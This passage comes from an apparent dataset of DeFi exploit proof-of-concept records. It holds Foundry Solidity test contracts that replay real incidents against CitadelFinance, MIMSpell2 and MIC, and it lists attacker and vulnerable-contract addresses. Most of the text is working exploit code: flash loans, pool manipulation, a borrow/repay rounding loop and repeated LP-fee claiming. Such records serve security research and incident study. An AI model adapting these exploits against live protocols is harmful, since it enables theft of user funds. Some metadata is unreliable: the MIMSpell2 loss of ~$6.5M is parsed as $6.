"funds_lost_formatted": "$1.0K", "content_richness_score": 7.43, "quality_estimate": "medium", "title": "Shell_MEV_0xa898 Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$93K\n// Attacker : https://arbiscan.io/address/0xfcf88e5e1314ca3b6be7eed851568834233f8b49\n// Attack Contract : https://arbiscan.io/address/0xfcbf411237ac830dc892edec054f15ba7f9ea5a6\n// Vuln Contract : https://arbiscan.io/address/0x34b666992fcce34669940ab6b017fe11e5750799\n// One of the attack txs : https://app.blocksec.com/explorer/tx/arbitrum/0xf52a681bc76df1e3a61d9266e3a66c7388ef579d62373feb4fd0991d36006855\n\n// @Analysis\n// https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408\n\ninterface ICitadelStaking {\n function redeemCalculator(\n address user\n ) external view returns (uint256[2][2] memory);\n\n function getCITInUSDAllFixedRates(address user, uint256 amount) external view returns (uint256);\n\n function deposit(address token, uint256 amount, uint8 rate) external;\n\n function getTotalTokenStakedForUser(address user, uint8 rate, address token) external view returns (uint256);\n}\n\ninterface ICitadelRedeem {\n function redeem(uint256 underlying, uint256 token, uint256 amount, uint8 rate) external;\n}\n\ninterface ICamelotRouter {\n function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address to,\n address referrer,\n uint256 deadline\n ) external;\n}\n\ncontract ContractTest is Test {\n ICitadelStaking private constant CitadelStaking = ICitadelStaking(0x5e93c07a22111b327EE0EaEC64028064448ae848);\n ICitadelRedeem private constant CitadelRedeem = ICitadelRedeem(0x34b666992fcCe34669940ab6B017fE11e5750799);\n Uni_Pair_V3 private constant WETH_USDC = Uni_Pair_V3(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);\n IERC20 private constant WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 private constant USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 private constant CIT = IERC20(0x43cF1856606df2CB22AEdbA1a3e23725f1594E81);\n ICamelotRouter private constant CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);\n address private constant citadelTreasury = 0x5ed32847e33844155c18944Ae84459404e432620;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 174_659_183);\n vm.label(address(CitadelStaking), \"CitadelStaking\");\n vm.label(address(CitadelRedeem), \"CitadelRedeem\");\n vm.label(address(WETH_USDC), \"WETH_USDC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(CIT), \"CIT\");\n vm.label(address(CamelotRouter), \"CamelotRouter\");\n }\n\n function testExploit() public {\n // Before attack\n // Deposit CIT tx: https://app.blocksec.com/explorer/tx/arbitrum/0xcf75802229d440e4fbabb4d357fa1886c25e9a6b5c693e9e9573c71c15e2b0d3\n // Exploiter transfer to attack contract following amount of CIT:\n deal(address(CIT), address(this), 2653 * 1e18);\n // Approve CIT tokens to CitadelStaking contract:\n CIT.approve(address(CitadelStaking), CIT.balanceOf(address(this)));\n // Deposit all CIT tokens at fixed rate (1) to CitadelStaking contract:\n CitadelStaking.deposit(address(CIT), CIT.balanceOf(address(this)), 1);\n emit log_named_decimal_uint(\n \"Exploiter total staked CIT amount (minus fee) before attack\",\n CitadelStaking.getTotalTokenStakedForUser(address(this), 1, address(CIT)),\n CIT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), CIT.decimals()\n );\n\n vm.roll(174_662_726);\n vm.warp(block.timestamp + 15 minutes + 13 seconds);\n\n emit log_string(\"--------------------Start attack--------------------\");\n // Start attack\n // Take WETH flashloan -> 4_500 WETH\n uint256 wethAmount = 4500 * 1e18;\n bytes memory data = abi.encode(wethAmount);\n WETH_USDC.flash(address(this), wethAmount, 0, data);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), CIT.decimals()\n );\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 borrowedWETHAmount = abi.decode(data, (uint256));\n WETH.approve(address(CamelotRouter), borrowedWETHAmount);\n\n // Deposit borrowed WETH to WETH/USDC pair and swap to USDC (CamelotPair). Manipulate pool\n emit log_named_decimal_uint(\n \"Flashloaned amount of WETH to swap and manipulate WETH/USDC pair\", borrowedWETHAmount, WETH.decimals()\n );\n WETHToUSDC(borrowedWETHAmount);\n\n uint256 amountIn = WETH.balanceOf(citadelTreasury);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(USDC);\n\n uint256[] memory amounts = CamelotRouter.getAmountsOut(amountIn, path);\n uint256 amountOutUSDC = amounts[1];\n\n uint256 amountCITAvailable =\n CitadelStaking.redeemCalculator(address(this))[0][1] + CitadelStaking.redeemCalculator(address(this))[1][1];\n\n emit log_named_decimal_uint(\"Available amount of CIT to redeem\", amountCITAvailable, CIT.decimals());\n\n uint256 citInUSD = CitadelStaking.getCITInUSDAllFixedRates(address(this), amountCITAvailable);\n\n emit log_named_uint(\"Available amount of CIT to redeem in USDC\", citInUSD / 10 ** 12);\n\n uint256 redeemAmount = amountCITAvailable;\n if (amountOutUSDC < citInUSD / 10 ** 12) {\n redeemAmount = redeemAmount / 3;\n }\n\n // Flawed function. This function makes calculations based on state of WETH/USDC pair\n CitadelRedeem.redeem(1, 0, redeemAmount, 1);\n\n USDC.approve(address(CamelotRouter), USDC.balanceOf(address(this)));\n\n // Swap back from USDC to WETH\n USDCToWETH(USDC.balanceOf(address(this)));\n\n // Repaying flashloan\n WETH.transfer(address(WETH_USDC), borrowedWETHAmount + fee0);\n\n emit log_string(\"--------------------End attack--------------------\");\n // After couple of above attacks, deposited CIT has been withdrawn in the following tx:\n // https://app.blocksec.com/explorer/tx/arbitrum/0x09105b771ada0c66f48786260929c0967fc822e037904ced6eac61284b6992d9\n }\n\n function WETHToUSDC(\n uint256 amount\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(USDC);\n\n CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), address(0), block.timestamp + 1000\n );\n }\n\n function USDCToWETH(\n uint256 amount\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(USDC);\n path[1] = address(WETH);\n\n CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, address(this), address(0), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "CitadelFinance", "date": "2024-01", "file_name": "CitadelFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "e62991399439fa99", "collected_at": "2026-01-07T10:59:16.529481", "_source": "postmortems", "chain": "arbitrum", "block_number": 174659183, "total_lost_raw": "~$93K", "total_lost_usd": 93000.0, "attacker_address": "https://arbiscan.io/address/0xfcf88e5e1314ca3b6be7eed851568834233f8b49", "attack_contract": "https://arbiscan.io/address/0xfcbf411237ac830dc892edec054f15ba7f9ea5a6", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$93K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Before attack\n // Deposit CIT tx: https://app.blocksec.com/explorer/tx/arbitrum/0xcf75802229d440e4fbabb4d357fa1886c25e9a6b5c693e9e9573c71c15e2b0d3\n // Exploiter transfer to attack contract following amount of CIT:\n deal(address(CIT), address(this), 2653 * 1e18);\n // Approve CIT tokens to CitadelStaking contract:\n CIT.approve(address(CitadelStaking), CIT.balanceOf(address(this)));\n // Deposit all CIT tokens at fixed rate (1) to CitadelStaking contract:\n CitadelStaking.deposit(address(CIT), CIT.balanceOf(address(this)), 1);\n emit log_named_decimal_uint(\n \"Exploiter total staked CIT amount (minus fee) before attack\",\n CitadelStaking.getTotalTokenStakedForUser(address(this), 1, address(CIT)),\n CIT.decimals()\n );\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), CIT.decimals()\n );\n\n vm.roll(174_662_726);\n vm.warp(block.timestamp + 15 minutes + 13 seconds);\n\n emit log_string(\"--------------------Start attack--------------------\");\n // Start attack\n // Take WETH flashloan -> 4_500 WETH\n uint256 wethAmount = 4500 * 1e18;\n bytes memory data = abi.encode(wethAmount);\n WETH_USDC.flash(address(this), wethAmount, 0, data);\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), CIT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$93K", "keyinfo_attacker": "https://arbiscan.io/address/0xfcf88e5e1314ca3b6be7eed851568834233f8b49", "keyinfo_attack_contract": "https://arbiscan.io/address/0xfcbf411237ac830dc892edec054f15ba7f9ea5a6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$93.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "CitadelFinance Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$6,5M\n// Attacker : https://etherscan.io/address/0x87f585809ce79ae39a5fa0c7c96d0d159eb678c9\n// Attack Contract : https://etherscan.io/address/0x193e045bee45c7573ff89b12601c745af739ce67\n// Vuln Contract : https://etherscan.io/address/0x7259e152103756e1616a77ae982353c3751a6a90\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x26a83db7e28838dd9fee6fb7314ae58dcc6aee9a20bf224c386ff5e80f7e4cf2\n\n// @Analysis\n// https://twitter.com/kankodu/status/1752581744803680680\n// https://twitter.com/Phalcon_xyz/status/1752278614551216494\n// https://twitter.com/peckshield/status/1752279373779194011\n// https://app.blocksec.com/explorer/security-incidents\n\ninterface IDegenBox {\n function balanceOf(address, address) external view returns (uint256);\n\n function flashLoan(address borrower, address receiver, address token, uint256 amount, bytes memory data) external;\n\n function deposit(\n address token_,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) external payable returns (uint256 amountOut, uint256 shareOut);\n\n function withdraw(\n address token_,\n address from,\n address to,\n uint256 amount,\n uint256 share\n ) external returns (uint256 amountOut, uint256 shareOut);\n}\n\ninterface ICauldronV4 {\n function addCollateral(address to, bool skim, uint256 share) external;\n\n function borrow(address to, uint256 amount) external returns (uint256 part, uint256 share);\n\n function repay(address to, bool skim, uint256 part) external returns (uint256 amount);\n\n function repayForAll(uint128 amount, bool skim) external returns (uint128);\n\n function userBorrowPart(\n address\n ) external view returns (uint256);\n\n function totalBorrow() external view returns (uint128 elastic, uint128 base);\n}\n\ncontract ContractTest is Test {\n IERC20 private constant MIM = IERC20(0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 private constant Crv3_USD_BTC_ETH = IERC20(0xc4AD29ba4B3c580e6D59105FFf484999997675Ff);\n IERC20 private constant yvCurve_3Crypto_f = IERC20(0x8078198Fc424986ae89Ce4a910Fc109587b6aBF3);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IDegenBox private constant DegenBox = IDegenBox(0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce);\n ICauldronV4 private constant CauldronV4 = ICauldronV4(0x7259e152103756e1616A77Ae982353c3751A6a90);\n ICurvePool private constant MIM_3LP3CRV = ICurvePool(0x5a6A4D54456819380173272A5E8E9B9904BdF41B);\n ICurvePool private constant USDT_WBTC_WETH = ICurvePool(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46);\n Uni_Pair_V3 private constant MIM_USDC = Uni_Pair_V3(0x298b7c5e0770D151e4C5CF6cCA4Dae3A3FFc8E27);\n Uni_Pair_V3 private constant USDC_WETH = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_118_659);\n vm.label(address(MIM), \"MIM\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(Crv3_USD_BTC_ETH), \"Crv3_USD_BTC_ETH\");\n vm.label(address(yvCurve_3Crypto_f), \"yvCurve_3Crypto_f\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(DegenBox), \"DegenBox\");\n vm.label(address(CauldronV4), \"CauldronV4\");\n vm.label(address(MIM_3LP3CRV), \"MIM_3LP3CRV\");\n vm.label(address(USDT_WBTC_WETH), \"USDT_WBTC_WETH\");\n vm.label(address(MIM_USDC), \"MIM_USDC\");\n vm.label(address(USDC_WETH), \"USDC_WETH\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter MIM balance before attack\", MIM.balanceOf(address(this)), MIM.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n MIM.approve(address(DegenBox), type(uint256).max);\n MIM.approve(address(MIM_3LP3CRV), type(uint256).max);\n USDT.approve(address(USDT_WBTC_WETH), type(uint256).max);\n Crv3_USD_BTC_ETH.approve(address(yvCurve_3Crypto_f), type(uint256).max);\n yvCurve_3Crypto_f.approve(address(DegenBox), type(uint256).max);\n\n DegenBox.flashLoan(address(this), address(this), address(MIM), 300_000 * 1e18, \"\");\n\n // Exchange MIM to USDT\n MIM_3LP3CRV.exchange_underlying(0, 2, 4_300_000 * 1e18, 0);\n\n // Obtain USDC tokens\n MIM_USDC.swap(address(this), true, 100_000 * 1e18, 75_212_254_740_446_025_735_711, \"\");\n\n // Obtain WETH tokens\n USDC_WETH.swap(\n address(this),\n true,\n int256(USDC.balanceOf(address(this))),\n 1_567_565_235_711_739_205_094_520_276_811_199,\n \"\"\n );\n\n emit log_named_decimal_uint(\"Exploiter MIM balance after attack\", MIM.balanceOf(address(this)), MIM.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n (uint128 elastic,) = CauldronV4.totalBorrow();\n uint128 amount = uint128(uint128(elastic + uint128(50e18)) - uint128(240_000 * 1e18));\n\n DegenBox.deposit(address(MIM), address(this), address(DegenBox), amount, 0);\n MIM.transfer(address(CauldronV4), 240_000 * 1e18);\n CauldronV4.repayForAll(uint128(240_000 * 1e18), true);\n\n address[] memory users = new address[](15);\n users[0] = 0x941ec857134B13c255d6EBEeD1623b1904378De9;\n users[1] = 0x2f2A75279a2AC0C6b64087CE1915B1435b1d3ce2;\n users[2] = 0x577BE3eD9A71E1c355f519BBDF5f09Ba2018b1Cc;\n users[3] = 0xc3Be098f9594E57A3e71f485a53d990FE3961fe5;\n users[4] = 0xEe64495BF9894f6c0A2Df4ac983581AADb87f62D;\n users[5] = 0xe435BEbA6DEE3D6F99392ab9568777EB8165719d;\n users[6] = 0xc0433E26E3D2Ae7D1D80E39a6D58062D1eAA54f5;\n users[7] = 0x2c561aB0Ed33E40c70ea380BaA0dBC1ae75Ccd34;\n users[8] = 0x33D778eD712C8C4AdD5A07baB012d1ce7bb0B4C7;\n users[9] = 0x214BE7eBEc865c25c83DF5B343E45Aa3Bf8Df881;\n users[10] = 0x3B473F790818976d207C2AcCdA42cb432b749451;\n users[11] = 0x48ED01117a130b660272228728e07eF9efe21A30;\n users[12] = 0x7E1C8fEF68a87F7BdDf4ae644Fe4D6e6362F5fF1;\n users[13] = 0xD24cb02BEd630BAA49887168440D90BE8DA6708c;\n users[14] = 0x0aB7999894F36eDe923278d4E898e78085B289e6;\n\n uint8 i;\n while (i < users.length) {\n uint256 borrowPart = CauldronV4.userBorrowPart(users[i]);\n if (borrowPart > 0) {\n CauldronV4.repay(users[i], true, borrowPart);\n }\n ++i;\n }\n handleSpecialUser();\n\n // Exchange portion of MIM balance for USDT\n MIM_3LP3CRV.exchange_underlying(0, 3, 2000 * 1e18, 0);\n\n // Add exchanged USDT amount as liquidity to the pool. Receive (mint) Crv3_USD_BTC_ETH in return\n uint256[3] memory amounts;\n amounts[0] = USDT.balanceOf(address(this));\n amounts[1] = 0;\n amounts[2] = 0;\n // USDT_WBTC_WETH.add_liquidity(amounts, 0);\n (bool success,) = address(USDT_WBTC_WETH).call(abi.encodeWithSelector(bytes4(0x4515cef3), amounts, 0));\n require(success);\n\n // yvCurve_3Crypto_f.deposit(Crv3_USD_BTC_ETH.balanceOf(address(this)));\n (success,) = address(yvCurve_3Crypto_f).call(\n abi.encodeWithSelector(bytes4(0xb6b55f25), Crv3_USD_BTC_ETH.balanceOf(address(this)))\n );\n require(success);\n\n // Deposit yvCurve_3Crypto_f balance\n uint256 depositAmount = yvCurve_3Crypto_f.balanceOf(address(this));\n DegenBox.deposit(address(yvCurve_3Crypto_f), address(this), address(CauldronV4), depositAmount, 0);\n\n HelperExploitContract helper = new HelperExploitContract();\n // borrow and repay * 90x\n helper.exploit();\n\n CauldronV4.addCollateral(address(this), true, depositAmount - 100);\n CauldronV4.borrow(address(this), DegenBox.balanceOf(address(MIM), address(CauldronV4)));\n DegenBox.withdraw(\n address(MIM), address(this), address(this), DegenBox.balanceOf(address(MIM), address(this)), 0\n );\n\n // Repaying flashloan\n MIM.transfer(address(DegenBox), 300_000 * 1e18 + fee);\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (msg.sender == address(MIM_USDC)) {\n MIM.transfer(address(MIM_USDC), uint256(amount0Delta));\n } else {\n USDC.transfer(address(USDC_WETH), uint256(amount0Delta));\n }\n }\n\n function handleSpecialUser() internal {\n address specialUser = 0x9445e93057F3f5e3452Ce50fC867b22a48B4d82A;\n uint256 borrowPart = CauldronV4.userBorrowPart(specialUser);\n CauldronV4.repay(specialUser, true, borrowPart - 100);\n for (uint8 i; i < 3; ++i) {\n CauldronV4.repay(specialUser, true, 1);\n }\n (uint128 elastic,) = CauldronV4.totalBorrow();\n require(elastic == 0);\n }\n}\n\ncontract HelperExploitContract {\n ICauldronV4 private constant CauldronV4 = ICauldronV4(0x7259e152103756e1616A77Ae982353c3751A6a90);\n\n function exploit() external {\n CauldronV4.addCollateral(address(this), true, 100);\n CauldronV4.borrow(address(this), 1);\n\n uint8 i;\n while (i < 90) {\n CauldronV4.borrow(address(this), 1);\n CauldronV4.repay(address(this), true, 1);\n ++i;\n }\n CauldronV4.repay(address(this), true, 1);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MIMSpell2", "date": "2024-01", "file_name": "MIMSpell2_exp.sol", "attack_vector": "flash_loan", "content_hash": "7338c7109ba3424e", "collected_at": "2026-01-07T10:59:16.529547", "_source": "postmortems", "chain": "ethereum", "block_number": 19118659, "total_lost_raw": "~$6,5M", "total_lost_usd": 6.0, "attacker_address": "https://etherscan.io/address/0x87f585809ce79ae39a5fa0c7c96d0d159eb678c9", "attack_contract": "https://etherscan.io/address/0x193e045bee45c7573ff89b12601c745af739ce67", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x26a83db7e28838dd9fee6fb7314ae58dcc6aee9a20bf224c386ff5e80f7e4cf2", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$6,5M", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Exploiter MIM balance before attack\", MIM.balanceOf(address(this)), MIM.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n\n MIM.approve(address(DegenBox), type(uint256).max);\n MIM.approve(address(MIM_3LP3CRV), type(uint256).max);\n USDT.approve(address(USDT_WBTC_WETH), type(uint256).max);\n Crv3_USD_BTC_ETH.approve(address(yvCurve_3Crypto_f), type(uint256).max);\n yvCurve_3Crypto_f.approve(address(DegenBox), type(uint256).max);\n\n DegenBox.flashLoan(address(this), address(this), address(MIM), 300_000 * 1e18, \"\");\n\n // Exchange MIM to USDT\n MIM_3LP3CRV.exchange_underlying(0, 2, 4_300_000 * 1e18, 0);\n\n // Obtain USDC tokens\n MIM_USDC.swap(address(this), true, 100_000 * 1e18, 75_212_254_740_446_025_735_711, \"\");\n\n // Obtain WETH tokens\n USDC_WETH.swap(\n address(this),\n true,\n int256(USDC.balanceOf(address(this))),\n 1_567_565_235_711_739_205_094_520_276_811_199,\n \"\"\n );\n\n emit log_named_decimal_uint(\"Exploiter MIM balance after attack\", MIM.balanceOf(address(this)), MIM.decimals());\n\n emit log_named_decimal_uint(\n \"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$6,5M", "keyinfo_attacker": "https://etherscan.io/address/0x87f585809ce79ae39a5fa0c7c96d0d159eb678c9", "keyinfo_attack_contract": "https://etherscan.io/address/0x193e045bee45c7573ff89b12601c745af739ce67", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x26a83db7e28838dd9fee6fb7314ae58dcc6aee9a20bf224c386ff5e80f7e4cf2", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6", "content_richness_score": 9, "quality_estimate": "high", "title": "MIMSpell2 Exploit (2024-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$500K\n// Attacker : https://bscscan.com/address/0x1703062d657c1ca439023f0993d870f4707a37ff\n// Attack Contract : https://bscscan.com/address/0xafebc0a9e26fea567cc9e6dd7504800c67f4e3fe\n// Vulnerable Contract : https://bscscan.com/address/0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x316c35d483b72700e6f4984650d217304146b3732bb148e32fa7f8017843eb24\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb38c2d2d6a168d41aa8eb4cead47e01badbdcf57#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1742484748239536173\n// Hacking God :\n\ninterface IMIC is IERC20 {\n function swapManual() external;\n}\n\ncontract ContractTest is Test {\n uint256 private constant blocknumToForkFrom = 34_905_161;\n Uni_Pair_V3 private constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n Uni_Pair_V2 private constant BUSDT_MIC = Uni_Pair_V2(0xB3611B1cbDDB14bC847906BfB9c443AC724A54dC);\n Uni_Pair_V2 private constant MIC_WBNB = Uni_Pair_V2(0xfEe55F16FD5Aec503B73146045b1474925a74dec);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IMIC private constant MIC = IMIC(0xb38C2D2d6A168D41AA8eB4CEAd47E01BadbDCF57);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n // Fake token contract deployed by exploiter\n IUSDT private constant FakeUSDT = IUSDT(0x9f779d61a7139960577CF7392892296F30D86df7);\n address private constant exploiter = 0x1703062d657c1ca439023F0993D870F4707a37FF;\n address private constant attackContract = 0xaFEBc0A9e26fea567cC9E6Dd7504800c67f4E3fE;\n\n uint256 private constant flashBUSDTAmount = 1700e18;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n vm.label(address(BUSDT_USDC), \"BUSDT_USDC\");\n vm.label(address(BUSDT_MIC), \"BUSDT_MIC\");\n vm.label(address(Router), \"Router\");\n vm.label(address(MIC), \"MIC\");\n vm.label(address(BUSDT), \"BUSDT\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(FakeUSDT), \"FakeUSDT\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n deal(address(this), 0);\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance before attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n // Flashloan 1700 BUSDT tokens\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint8(0)));\n\n emit log_named_decimal_uint(\n \"Exploiter BUSDT balance after attack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n approveRouter();\n // Here I decided to skip the swap from Fake USDT to BUSDT because of some restrictions when\n // calling Fake USDT protected transferFrom() function from Router when swapping (also this is unnecessary step)\n // Swap 1 FakeUSDT\n // FakeUSDTToBUSDT();\n deal(address(BUSDT), address(this), BUSDT.balanceOf(address(this)) + 3_313_981_013_131_338);\n // Swap half of BUSDT balance to MIC tokens\n BUSDTToMIC();\n // Swap second half of BUSDT tokens to BNB\n BUSDTToBNB();\n // Add liquidity to MIC/WBNB pair. Obtain LP tokens\n Router.addLiquidityETH{value: address(this).balance}(\n address(MIC), MIC.balanceOf(address(this)), 0, 0, address(this), block.timestamp + 10\n );\n\n // Following function make a call to vulnerable swapAndSendLPFee private function\n // Acquire LP fees in BUSDT\n MIC.swapManual();\n\n LPFeeClaimer currentLpFeeClaimer = new LPFeeClaimer();\n // Transfer LP tokens to helper attack contract for acquiring new LP fees\n // Transfered amount will be approved back to this contract\n MIC_WBNB.transfer(address(currentLpFeeClaimer), MIC_WBNB.balanceOf(address(this)));\n currentLpFeeClaimer.claim();\n\n uint256 i = 1;\n while (i < 10) {\n LPFeeClaimer newLpFeeClaimer = new LPFeeClaimer();\n // Main (this) attack contract has been approved from current helper attack contract to transfer\n // LP tokens to new helper attack contract\n MIC_WBNB.transferFrom(\n address(currentLpFeeClaimer), address(newLpFeeClaimer), MIC_WBNB.balanceOf(address(currentLpFeeClaimer))\n );\n newLpFeeClaimer.claim();\n currentLpFeeClaimer = newLpFeeClaimer;\n ++i;\n }\n currentLpFeeClaimer.remove();\n BNBToBUSDT();\n\n // Repay flashloan\n BUSDT.transfer(address(BUSDT_USDC), flashBUSDTAmount + fee0);\n\n // Additionally - at the end of the attack amount of BUSDT was swapped to Fake USDT tokens\n }\n\n receive() external payable {}\n\n function approveRouter() private {\n MIC.approve(address(Router), type(uint256).max);\n BUSDT_MIC.approve(address(Router), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n // Approve is protected (Ownable).\n vm.prank(attackContract, exploiter);\n FakeUSDT.approve(address(Router), type(uint256).max);\n }\n\n // function FakeUSDTToBUSDT() private {\n // address[] memory path = new address[](2);\n // path[0] = address(FakeUSDT);\n // path[1] = address(BUSDT);\n // vm.prank(attackContract, exploiter);\n // Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n // 1e18,\n // 0,\n // path,\n // address(this),\n // block.timestamp + 10\n // );\n // }\n\n function BUSDTToMIC() private {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(MIC);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BUSDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp + 10\n );\n }\n\n function BUSDTToBNB() private {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(WBNB);\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n BUSDT.balanceOf(address(this)), 0, path, address(this), block.timestamp + 10\n );\n }\n\n function BNBToBUSDT() private {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BUSDT);\n Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: address(this).balance}(\n 0, path, address(this), block.timestamp + 10\n );\n }\n}\n\ncontract LPFeeClaimer {\n Uni_Pair_V2 private constant MIC_WBNB = Uni_Pair_V2(0xfEe55F16FD5Aec503B73146045b1474925a74dec);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IMIC private constant MIC = IMIC(0xb38C2D2d6A168D41AA8eB4CEAd47E01BadbDCF57);\n IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IWBNB private constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n\n constructor() {\n // Approve LP tokens to main attack contract (deployer of this contract).\n MIC_WBNB.approve(msg.sender, type(uint256).max);\n }\n\n function claim() external {\n // Obtain LP fees\n MIC.swapManual();\n // Transfer obtained LP fees to the main attack contract\n BUSDT.transfer(msg.sender, BUSDT.balanceOf(address(this)));\n }\n\n // Remove 